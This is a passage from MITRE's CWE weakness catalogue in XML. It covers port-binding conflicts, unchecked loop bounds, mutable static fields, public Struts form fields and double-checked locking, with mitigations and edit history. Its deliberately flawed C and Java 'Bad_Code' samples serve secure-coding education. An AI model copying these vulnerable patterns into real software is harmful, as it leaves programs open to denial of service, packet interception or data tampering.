								                <Code/>
								                <Comment>/*unlink the socket if already bound to avoid an error when
									bind() is called*/</Comment>
								                <Code>unlink("server_socket");</Code>
								                <Code>server_sockfd = socket(AF_INET, SOCK_STREAM, 0);</Code>
								                <Code/>
								                <Code>server_address.sin_family = AF_INET;</Code>
								                <Code>server_address.sin_port = 21;</Code>
								                <Code>server_address.sin_addr.s_addr = htonl(INADDR_ANY);</Code>
								                <Code>server_len = sizeof(struct sockaddr_in);</Code>
								                <Code/>
								                <Code>bind(server_sockfd, (struct sockaddr *) &amp;s1,
									server_len);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code may result in two servers binding a socket to same port,
							thus receiving each other's traffic. This could be used by an attacker
							to steal packets meant for another process, such as a secure FTP
							server.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Multiple Binds to Same
						Port</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="606" Name="Unchecked Input for Loop Condition" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not properly check inputs that are used for
					loop conditions, potentially leading to a denial of service because of excessive
					looping.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>834</Relationship_Target_ID>
					          <!--Excessive Iteration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use user-controlled data for loop conditions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform input validation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void iterate(int n){</Code>
							              <Block>
								                <Code>int i;</Code>
								                <Code>for (i = 0; i &lt; n; i++){</Code>
								                <Block>
									                  <Code>foo();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>void iterateFoo()</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>unsigned int num;</Code>
								                <Code>scanf("%u",&amp;num);</Code>
								                <Code>iterate(num);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Looping Constructs", Page
						327.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use a secure integer library</Mapped_Node_Name>
					          <Mapped_Node_ID>INT03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use a secure integer library</Mapped_Node_Name>
					          <Mapped_Node_ID>INT03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="607" Name="Public Static Final Field References Mutable Object" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A public or protected static final field references a mutable
					object, which allows the object to be changed by malicious code, or accidentally
					from another package.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect mutable objects by making them private. Restrict access to the
							getter and setter as well.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Here, an array (which is inherently mutable) is labeled public
						static final.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public static final String[] USER_ROLES;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="608" Name="Struts: Non-private Field in ActionForm Class" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An ActionForm class contains a field that has not been declared
					private, which can be accessed without using a setter or
					getter.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make all fields private. Use getter to get the value of the field.
							Setter should be used only by the framework; setting an action form
							field from other actions is bad practice and should be avoided.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the class RegistrationForm is a Struts
						framework ActionForm Bean that will maintain user input data from a
						registration webpage for a online business site. The user will enter
						registration data and through the Struts framework the RegistrationForm bean
						will maintain the user data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Code>// variables for registration form</Code>
								                <Code>public String name;</Code>
								                <Code>public String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public ActionErrors validate(ActionMapping mapping,
									HttpServletRequest request) {...}</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, within the RegistrationForm the member variables for the
							registration form input data are declared public not private. All member
							variables within a Struts framework ActionForm class must be declared
							private to prevent the member variables from being modified without
							using the getter and setter methods. The following example shows the
							member variables being declared private and getter and setter methods
							declared for accessing the member variables.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Code>// private variables for registration form</Code>
								                <Code>private String name;</Code>
								                <Code>private String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public ActionErrors validate(ActionMapping mapping,
									HttpServletRequest request) {...}</Code>
							              </Block>
							              <Code/>
							              <Code/>
							              <Block>
								                <Code>// getter and setter methods for private variables</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="609" Name="Double-Checked Locking" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The program uses double-checked locking to access a resource
					without the overhead of explicit synchronization, but the locking is
					insufficient.</Description_Summary>
				        <Extended_Description>
					          <Text>Double-checked locking refers to the situation where a programmer checks
						to see if a resource has been initialized, grabs a lock, checks again to see
						if the resource has been initialized, and then performs the initialization
						if it has not occurred yet. This should not be done, as is not guaranteed to
						work in all languages and on all architectures. In summary, other threads
						may not be operating inside the synchronous block and are not guaranteed to
						see the operations execute in the same order as they would appear inside the
						synchronous block.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>367</Relationship_Target_ID>
					          <!--Time-of-check Time-of-use (TOCTOU) Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>853</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 08 - Locking (LCK)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>While double-checked locking can be achieved in some languages, it is
							inherently flawed in Java before 1.5, and cannot be achieved without
							compromising platform independence. Before Java 1.5, only use of the
							synchronized keyword is known to work. Beginning in Java 1.5, use of the
							"volatile" keyword allows double-checked locking to work successfully,
							although there is some debate as to whether it achieves sufficient
							performance gains. See references.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-70">
					          <Intro_Text>It may seem that the following bit of code achieves thread safety
						while avoiding unnecessary synchronization...</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>if (helper == null) {</Code>
							              <Block>
								                <Code>synchronized (this) {</Code>
								                <Block>
									                  <Code>if (helper == null) {</Code>
									                  <Block>
										                    <Code>helper = new Helper();</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>return helper;</Code>
						            </Block>
						            <Text>The programmer wants to guarantee that only one Helper() object is
							ever allocated, but does not want to pay the cost of synchronization
							every time this code is called.</Text>
						            <Text>Suppose that helper is not initialized. Then, thread A sees that
							helper==null and enters the synchronized block and begins to
							execute:</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>helper = new Helper();</Code>
						            </Block>
						            <Text>If a second thread, thread B, takes over in the middle of this call
							and helper has not finished running the constructor, then thread B may
							make calls on helper while its fields hold incorrect values.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>David Bacon et al</Reference_Author>
					          <Reference_Title>The "Double-Checked Locking is Broken"
						Declaration</Reference_Title>
					          <Reference_Link>http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jeremy Manson and Brian Goetz</Reference_Author>
					          <Reference_Title>JSR 133 (Java Memory Model) FAQ</Reference_Title>
					          <Reference_Link>http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 13, "Threading Vulnerabilities", Page
						815.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use incorrect forms of the double-checked locking
						idiom</Mapped_Node_Name>
					          <Mapped_Node_ID>LCK10-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Context_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
